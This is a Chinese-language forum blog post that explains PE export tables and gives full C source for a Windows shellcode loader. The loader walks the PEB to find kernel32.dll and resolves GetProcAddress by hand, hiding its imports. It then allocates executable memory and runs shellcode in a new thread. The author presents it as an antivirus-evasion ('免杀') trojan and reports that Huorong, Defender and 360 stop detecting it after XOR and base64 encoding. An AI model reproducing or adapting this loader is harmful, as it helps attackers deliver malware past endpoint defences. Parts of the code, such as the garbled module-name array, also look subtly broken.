Author:ILU

前言

上一篇文章讲了如何从进程的TEB获取PEB,然后再从PEB中的LDR中的加载时的模块链表获取指定模块(Kernel32.dll),并通过断链的形式隐藏kernel32.dll。但是这里的隐藏并不是真正隐藏dll模块,只是在某些情况下看不到,实际上还是可以查得到的。上一篇文章学的过程实在是太久了,琢磨了很久,好在也是整出来了。

本篇文章利用PEB获取到的模块基址,然后一步一步的找到对应的函数,然后再利用函数执行shellcode。

注意:编译时选择x86,x64代码还需要做一些简单的修改。

正题

在这里的话我们要了解一下PE相关的知识。

什么是PE文件?

PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。(摘自百度百科)

PE文件的结构

这里简单的以一张图的形式去了解,细节后面慢慢讲。

PE文件的各个部分都有其对应的结构体,这是微软定义好的。我们可以通过结构体指针,获取到对应的值,同时我们用读取进制的软件(比如:HXD)打开PE文件,也够通过这些结构体一个一个的找出其对应的数值。

突然发现,这东西好像一时半会讲不清楚,涉及的知识点太多了。

DOS头部
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // MZ头
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // 文件头地址
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

在dos头中我们重点关注e_magice_lfanew,其余成员可以不用纠结。首先,e_magic在PE文件中总是为"MZ",相当于一个标识;然后是e_lfanew,我们在3C的位置能够找到它,它指向了文件头的首地址。

文件头
typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature; // PE标识
    IMAGE_FILE_HEADER FileHeader; // 标准文件头
    IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 拓展文件头
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

文件头包含了三个内容:PE标识、标准文件头、拓展文件头。在dos头中找到3c的位置,我们就能找到文件头,指向的位置其实是PE标识的位置。也就是说我们可以通过偏移量来找到对应的结构或者数值。

标准文件头
typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
拓展文件头
typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //
    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;
    //
    // NT additional fields.
    //
    DWORD   ImageBase; 
    DWORD   SectionAlignment; 
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

篇幅实在是太长了,这里简单做个了解吧,细节我在实际代码中做好注释。接下来,我们来看实际代码。

导出地址表

在拓展头中的最后一个元素DataDirectory,这里面包含了导入地址表、导出地址表等信息,总共有16个元素。我们这里用到了导出地址表,并且其位置处于该数组的第一个,所以也来看下这个结构。

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // 函数地址表
    DWORD   AddressOfNames;         // 函数名称表
    DWORD   AddressOfNameOrdinals;  // 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

重点关注最后三个元素,我们这里通过函数名称表获取到指定函数的序号再通过序号获取函数地址表中的函数地址。

函数名称表 --> 函数序号表 --> 函数地址表 --> 获得函数地址

代码
获取PEB
DWORD GetPeb() {
    // 定义数据结构   
    _PEB_LDR_DATA* Ldr;
    // 获取Ldr    
    // TEB:0x30处存储PEB信息     
    // PEB:0x0C处存储Ldr信息     
    _asm {
        push eax
        push ebx
        xor eax, eax
        xor ebx, ebx
        mov eax, fs: [0x30]
        mov ebx, [eax + 0x0C]
        mov Ldr, ebx
        pop ebx
        pop eax
    }
    return (DWORD)Ldr;
}
获取Kernel32模块地址
DWORD GetKenel32(DWORD Ldr) {
    // 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
    char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
    DWORD kernel32Addr = NULL;
    // 定义数据结构 
    _LIST_ENTRY* pBack;
    _PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
    _LDR_DATA_TABLE_ENTRY* pNext;
    _LDR_DATA_TABLE_ENTRY* pHide;
    // 获取加载模块列表     
    pBack = &pLdr->InLoadOrderModuleList;   
    // 获取第一个模块,这是一个双向链表     
    // 第一个模块存储进程信息,后面的才是dll信息   
    pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;   
    // 因为是链表,所以当pNext = pBack的时候就意味着走了一轮了   
    while ((int*)pBack != (int*)pNext) {        
        // 此处是个大坑       
        // 给我整吐了呀       
        // 根据结构类型返回结构实例的基址,可以获取三个链表的基址,而不是单个        
        pHide = CONTAINING_RECORD(pNext, _LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);      
        PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
        PCHAR pfuncName = (PCHAR)funcName;
        while (*BaseDllName && *BaseDllName == *pfuncName) {
            BaseDllName++;
            pfuncName++;
        }
        // 判断模块名是否相等,相等就隐藏模块        
        if (*BaseDllName == *pfuncName) {                   
            kernel32Addr = (DWORD)pNext->DllBase;
            break;
        }               
        // 指向下一个模块      
        pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;  
    }
    return kernel32Addr;
}
获取指定函数
// 声明函数类型
typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);

DWORD GetFuncAddr(HMODULE Module) {
    // 初始化pGetProcAddress
    PGETPROCADDRESS pGetProcAddress = NULL;
    // 这种方式是为了后面造shellcode方便, 指定要找的函数名
    CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
    printf("[*] The name of the function to be found: %s\n", funcName);
    // 获取dos头
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
    // 获取文件头
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
    printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
    // 获取导出表中的三个表
    // AddressOfNames: 名称表
    // AddressOfNameOrdinals: 序号表
    // AddressOfFunctions: 函数地址表
    DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
    printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
    WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
    printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
    DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
    printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
    PCHAR pfuncName = funcName;
    // 寻找对应函数
    for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
        PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
        while (*lpName && *lpName == *pfuncName) {
            lpName++;
            pfuncName++;
        }
        if (*lpName == *pfuncName) {
            // 找到函数后,给函数赋值
            pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
            printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
            return (DWORD)pGetProcAddress;
        }
        // 还原要找的函数名字,因为前面的操作修改了名字
        pfuncName = funcName;
    };
    return 0;
}
主程序
int main() {
    HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
    printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
    PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
}

到这里我们就获取GetProcAddress的函数地址,并且重新声明赋值后我们就已经可以正常使用这个函数了。

完整代码

头文件
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")



//0x28 bytes (sizeof)
struct _PEB_LDR_DATA
{
    ULONG Length;                                                           //0x0
    UCHAR Initialized;                                                      //0x4
    VOID* SsHandle;                                                         //0x8
    struct _LIST_ENTRY InLoadOrderModuleList;                               //0xc
    struct _LIST_ENTRY InMemoryOrderModuleList;                             //0x14
    struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x1c
    VOID* EntryInProgress;                                                  //0x24
};

//0x8 bytes (sizeof)
struct _UNICODE_STRING
{
    USHORT Length;                                                          //0x0
    USHORT MaximumLength;                                                   //0x2
    WCHAR* Buffer;                                                          //0x4
};

//0xc bytes (sizeof)
struct _RTL_BALANCED_NODE
{
    union
    {
        struct _RTL_BALANCED_NODE* Children[2];                             //0x0
        struct
        {
            struct _RTL_BALANCED_NODE* Left;                                //0x0
            struct _RTL_BALANCED_NODE* Right;                               //0x4
        };
    };
    union
    {
        struct
        {
            UCHAR Red : 1;                                                    //0x8
            UCHAR Balance : 2;                                                //0x8
        };
        ULONG ParentValue;                                                  //0x8
    };
};


//0xa8 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
    struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8
    struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10
    VOID* DllBase;                                                          //0x18
    VOID* EntryPoint;                                                       //0x1c
    ULONG SizeOfImage;                                                      //0x20
    struct _UNICODE_STRING FullDllName;                                     //0x24
    struct _UNICODE_STRING BaseDllName;                                     //0x2c
    union
    {
        UCHAR FlagGroup[4];                                                 //0x34
        ULONG Flags;                                                        //0x34
        struct
        {
            ULONG PackagedBinary : 1;                                         //0x34
            ULONG MarkedForRemoval : 1;                                       //0x34
            ULONG ImageDll : 1;                                               //0x34
            ULONG LoadNotificationsSent : 1;                                  //0x34
            ULONG TelemetryEntryProcessed : 1;                                //0x34
            ULONG ProcessStaticImport : 1;                                    //0x34
            ULONG InLegacyLists : 1;                                          //0x34
            ULONG InIndexes : 1;                                              //0x34
            ULONG ShimDll : 1;                                                //0x34
            ULONG InExceptionTable : 1;                                       //0x34
            ULONG ReservedFlags1 : 2;                                         //0x34
            ULONG LoadInProgress : 1;                                         //0x34
            ULONG LoadConfigProcessed : 1;                                    //0x34
            ULONG EntryProcessed : 1;                                         //0x34
            ULONG ProtectDelayLoad : 1;                                       //0x34
            ULONG ReservedFlags3 : 2;                                         //0x34
            ULONG DontCallForThreads : 1;                                     //0x34
            ULONG ProcessAttachCalled : 1;                                    //0x34
            ULONG ProcessAttachFailed : 1;                                    //0x34
            ULONG CorDeferredValidate : 1;                                    //0x34
            ULONG CorImage : 1;                                               //0x34
            ULONG DontRelocate : 1;                                           //0x34
            ULONG CorILOnly : 1;                                              //0x34
            ULONG ChpeImage : 1;                                              //0x34
            ULONG ReservedFlags5 : 2;                                         //0x34
            ULONG Redirected : 1;                                             //0x34
            ULONG ReservedFlags6 : 2;                                         //0x34
            ULONG CompatDatabaseProcessed : 1;                                //0x34
        };
    };
    USHORT ObsoleteLoadCount;                                               //0x38
    USHORT TlsIndex;                                                        //0x3a
    struct _LIST_ENTRY HashLinks;                                           //0x3c
    ULONG TimeDateStamp;                                                    //0x44
    struct _ACTIVATION_CONTEXT* EntryPointActivationContext;                //0x48
    VOID* Lock;                                                             //0x4c
    struct _LDR_DDAG_NODE* DdagNode;                                        //0x50
    struct _LIST_ENTRY NodeModuleLink;                                      //0x54
    struct _LDRP_LOAD_CONTEXT* LoadContext;                                 //0x5c
    VOID* ParentDllBase;                                                    //0x60
    VOID* SwitchBackContext;                                                //0x64
    struct _RTL_BALANCED_NODE BaseAddressIndexNode;                         //0x68
    struct _RTL_BALANCED_NODE MappingInfoIndexNode;                         //0x74
    ULONG OriginalBase;                                                     //0x80
    union _LARGE_INTEGER LoadTime;                                          //0x88
    ULONG BaseNameHashValue;                                                //0x90
    enum _LDR_DLL_LOAD_REASON LoadReason;                                   //0x94
    ULONG ImplicitPathOptions;                                              //0x98
    ULONG ReferenceCount;                                                   //0x9c
    ULONG DependentLoadFlags;                                               //0xa0
    UCHAR SigningLevel;                                                     //0xa4
};
主程序
#include "precompile.h"


typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef LPVOID (WINAPI* VIRTUALALLOC)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
typedef VOID (WINAPI* RTLMOVEMEMORY)(VOID UNALIGNED* Destination,CONST VOID UNALIGNED* Source,SIZE_T  Length);
typedef HANDLE (WINAPI* CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
typedef DWORD(WINAPI* WAITFORSINGLEOBJECT)(HANDLE hHandle,DWORD dwMilliseconds);

DWORD GetPeb() {
    // 定义数据结构   
    _PEB_LDR_DATA* Ldr;
    // 获取Ldr    
    // TEB:0x30处存储PEB信息     
    // PEB:0x0C处存储Ldr信息     
    _asm {
        push eax
        push ebx
        xor eax, eax
        xor ebx, ebx
        mov eax, fs: [0x30]
        mov ebx, [eax + 0x0C]
        mov Ldr, ebx
        pop ebx
        pop eax
    }
    return (DWORD)Ldr;
}

DWORD GetKenel32(DWORD Ldr) {
    // 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
    char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
    DWORD kernel32Addr = NULL;
    // 定义数据结构 
    _LIST_ENTRY* pBack;
    _PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
    _LDR_DATA_TABLE_ENTRY* pNext;
    _LDR_DATA_TABLE_ENTRY* pHide;
    // 获取加载模块列表     
    pBack = &pLdr->InLoadOrderModuleList;   
    // 获取第一个模块,这是一个双向链表     
    // 第一个模块存储进程信息,后面的才是dll信息   
    pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;   
    // 因为是链表,所以当pNext = pBack的时候就意味着走了一轮了   
    while ((int*)pBack != (int*)pNext) {    
        // 赋值
        PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
        PCHAR pfuncName = (PCHAR)funcName;
        // 一个字母一个字母的判断
        while (*BaseDllName && *BaseDllName == *pfuncName) {
            BaseDllName++;
            pfuncName++;
        }
        // 判断模块名是否相等,相等就隐藏模块        
        if (*BaseDllName == *pfuncName) {                   
            kernel32Addr = (DWORD)pNext->DllBase;
            break;
        }               
        // 指向下一个模块      
        pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;  
    }
    return kernel32Addr;
}

DWORD GetFuncAddr(HMODULE Module) {
    // 初始化pGetProcAddress
    PGETPROCADDRESS pGetProcAddress = NULL;
    // 这种方式是为了后面造shellcode方便, 指定要找的函数名
    CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
    printf("[*] The name of the function to be found: %s\n", funcName);
    // 获取dos头
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
    // 获取文件头
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
    printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
    // 获取导出表中的三个表
    // AddressOfNames: 名称表
    // AddressOfNameOrdinals: 序号表
    // AddressOfFunctions: 函数地址表
    DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
    printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
    WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
    printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
    DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
    printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
    PCHAR pfuncName = funcName;
    // 寻找对应函数
    for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
        PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
        while (*lpName && *lpName == *pfuncName) {
            lpName++;
            pfuncName++;
        }
        if (*lpName == *pfuncName) {
            // 找到函数后,给函数赋值
            pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
            printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
            return (DWORD)pGetProcAddress;
        }
        pfuncName = funcName;
    };
    return 0;
}

int main() {
    HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
    printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
    PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
    VIRTUALALLOC myVirtualAlloc = (VIRTUALALLOC)pGetProcAddress(hKernel32, "VirtualAlloc");
    RTLMOVEMEMORY myRtlMoveMemory = (RTLMOVEMEMORY)pGetProcAddress(hKernel32, "RtlMoveMemory");
    CREATETHREAD myCreateThread = (CREATETHREAD)pGetProcAddress(hKernel32, "CreateThread");
    WAITFORSINGLEOBJECT myWaitForSingleObject = (WAITFORSINGLEOBJECT)pGetProcAddress(hKernel32, "WaitForSingleObject");

    // shellcode放到这里,是否异或自己决定
    unsigned char buf[] ="";

    LPVOID lpMem = myVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    myRtlMoveMemory(lpMem, buf, sizeof(buf));
    HANDLE hThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0);
    printf("[+] shellcode is running!\n");
    printf("\n");
    printf("++++++++++++++++++++++++++++++++++++++++++\n");
    printf("++++++++          Happy           ++++++++\n");
    printf("++++++++++++++++++++++++++++++++++++++++++\n");
    myWaitForSingleObject(hThread, INFINITE);
    return 0;
}

这一轮操作下来也相当于隐藏了IAT,在kernel32中并未发现我们使用的函数。

来看下免杀情况!

火绒

shellcode未作处理,免杀火绒且正常上线。

Defender

defender查杀shellcode没做处理的木马,这边加上异或处理。

shellcode异或处理后,defender不再查杀且正常上线

360

复杂归复杂,360还是报毒了,这边继续对木马做处理。

测试发现是shellcode报毒了,也就是说我们做的复杂操作没有一点问题,这里我们再对shellcode做下处理,这里对代码做了base64加密。

// base64解密
int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned int dstLen) {
    DWORD outLen;
    BOOL fRet;
    outLen = dstLen;
    fRet = CryptStringToBinary((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL, NULL);
    if (!fRet) outLen = 0;  
    return(outLen);
}

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖